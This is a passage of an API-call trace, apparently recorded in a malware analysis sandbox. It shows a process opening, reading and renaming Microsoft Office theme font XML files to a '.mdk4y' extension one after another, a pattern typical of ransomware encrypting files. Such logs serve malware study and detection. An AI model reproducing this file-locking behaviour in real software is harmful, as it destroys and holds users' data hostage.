dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.551] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825378100000) returned 1 [0178.551] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe1f, lpOverlapped=0x0) returned 1 [0178.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825385400000) returned 1 [0178.624] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825385400000) returned 1 [0178.624] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Apothecary.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\apothecary.xml.mdk4y")) returned 1 [0178.626] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.626] AreFileApisANSI () returned 1 [0178.626] GetACP () returned 0x4e4 [0178.626] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Aspect.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Aspect.xml.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0178.626] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.627] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825385700000) returned 1 [0178.627] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe0b, lpOverlapped=0x0) returned 1 [0178.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825386000000) returned 1 [0178.630] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825386000000) returned 1 [0178.631] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Aspect.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\aspect.xml.mdk4y")) returned 1 [0178.632] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.632] AreFileApisANSI () returned 1 [0178.632] GetACP () returned 0x4e4 [0178.632] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Austin.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Austin.xml", lpUsedDefaultChar=0x37df4c) returned 10 [0178.633] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825386400000) returned 1 [0178.635] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe16, lpOverlapped=0x0) returned 1 [0178.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825390400000) returned 1 [0178.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825390400000) returned 1 [0178.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Austin.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\austin.xml.mdk4y")) returned 1 [0178.675] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.675] AreFileApisANSI () returned 1 [0178.675] GetACP () returned 0x4e4 [0178.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Black Tie.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Black Tie.xmll", lpUsedDefaultChar=0x37df4c) returned 13 [0178.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825390600000) returned 1 [0178.676] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xefb, lpOverlapped=0x0) returned 1 [0178.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825391900000) returned 1 [0178.689] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825391900000) returned 1 [0178.689] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Black Tie.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\black tie.xml.mdk4y")) returned 1 [0178.690] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.690] AreFileApisANSI () returned 1 [0178.690] GetACP () returned 0x4e4 [0178.690] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Civic.xml", cchWideChar=9, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Civic.xml.xml", lpUsedDefaultChar=0x37df4c) returned 9 [0178.690] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392100000) returned 1 [0178.691] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe1f, lpOverlapped=0x0) returned 1 [0178.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392300000) returned 1 [0178.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392300000) returned 1 [0178.693] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Civic.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\civic.xml.mdk4y")) returned 1 [0178.694] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.694] AreFileApisANSI () returned 1 [0178.694] GetACP () returned 0x4e4 [0178.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Clarity.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Clarity.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0178.694] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392400000) returned 1 [0178.694] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe0f, lpOverlapped=0x0) returned 1 [0178.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392600000) returned 1 [0178.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392600000) returned 1 [0178.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.mdk4y")) returned 1 [0178.697] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.697] AreFileApisANSI () returned 1 [0178.697] GetACP () returned 0x4e4 [0178.697] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Composite.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Composite.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0178.697] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.697] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392700000) returned 1 [0178.697] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe0e, lpOverlapped=0x0) returned 1 [0178.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392800000) returned 1 [0178.698] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825392800000) returned 1 [0178.701] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.mdk4y")) returned 1 [0178.701] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.701] AreFileApisANSI () returned 1 [0178.701] GetACP () returned 0x4e4 [0178.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Concourse.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Concourse.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0178.701] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825393200000) returned 1 [0178.702] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdc6, lpOverlapped=0x0) returned 1 [0178.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825393300000) returned 1 [0178.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825393300000) returned 1 [0178.703] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.mdk4y")) returned 1 [0178.704] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.704] AreFileApisANSI () returned 1 [0178.704] GetACP () returned 0x4e4 [0178.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Couture.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Couture.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0178.704] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825393400000) returned 1 [0178.705] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xefc, lpOverlapped=0x0) returned 1 [0178.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825393600000) returned 1 [0178.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825393600000) returned 1 [0178.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.mdk4y")) returned 1 [0178.717] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.717] AreFileApisANSI () returned 1 [0178.717] GetACP () returned 0x4e4 [0178.717] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Elemental.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Elemental.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0178.717] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.718] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825394800000) returned 1 [0178.718] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe48, lpOverlapped=0x0) returned 1 [0178.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825394900000) returned 1 [0178.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825394900000) returned 1 [0178.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.mdk4y")) returned 1 [0178.720] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.720] AreFileApisANSI () returned 1 [0178.720] GetACP () returned 0x4e4 [0178.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Equity.xml", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Equity.xmlxml", lpUsedDefaultChar=0x37df4c) returned 10 [0178.720] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825395100000) returned 1 [0178.721] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xef5, lpOverlapped=0x0) returned 1 [0178.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825398300000) returned 1 [0178.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825398300000) returned 1 [0178.816] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.mdk4y")) returned 1 [0178.818] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.818] AreFileApisANSI () returned 1 [0178.818] GetACP () returned 0x4e4 [0178.818] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Essential.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Essential.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0178.818] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.818] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825404800000) returned 1 [0178.818] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe16, lpOverlapped=0x0) returned 1 [0178.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405000000) returned 1 [0178.820] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405000000) returned 1 [0178.820] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.mdk4y")) returned 1 [0178.821] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.821] AreFileApisANSI () returned 1 [0178.821] GetACP () returned 0x4e4 [0178.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Executive.xml", cchWideChar=13, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Executive.xml", lpUsedDefaultChar=0x37df4c) returned 13 [0178.821] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.821] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405100000) returned 1 [0178.821] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe2f, lpOverlapped=0x0) returned 1 [0178.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405300000) returned 1 [0178.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405300000) returned 1 [0178.823] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.mdk4y")) returned 1 [0178.823] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.823] AreFileApisANSI () returned 1 [0178.824] GetACP () returned 0x4e4 [0178.824] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Flow.xml", cchWideChar=8, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Flow.xmle.xml", lpUsedDefaultChar=0x37df4c) returned 8 [0178.824] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405400000) returned 1 [0178.824] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdb5, lpOverlapped=0x0) returned 1 [0178.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405500000) returned 1 [0178.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405500000) returned 1 [0178.825] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Flow.xml.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\flow.xml.mdk4y")) returned 1 [0178.826] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0178.826] AreFileApisANSI () returned 1 [0178.827] GetACP () returned 0x4e4 [0178.827] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Foundry.xml", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Foundry.xmlml", lpUsedDefaultChar=0x37df4c) returned 11 [0178.827] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\foundry.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0178.828] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1825405800000) returned 1 [0178.828] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, 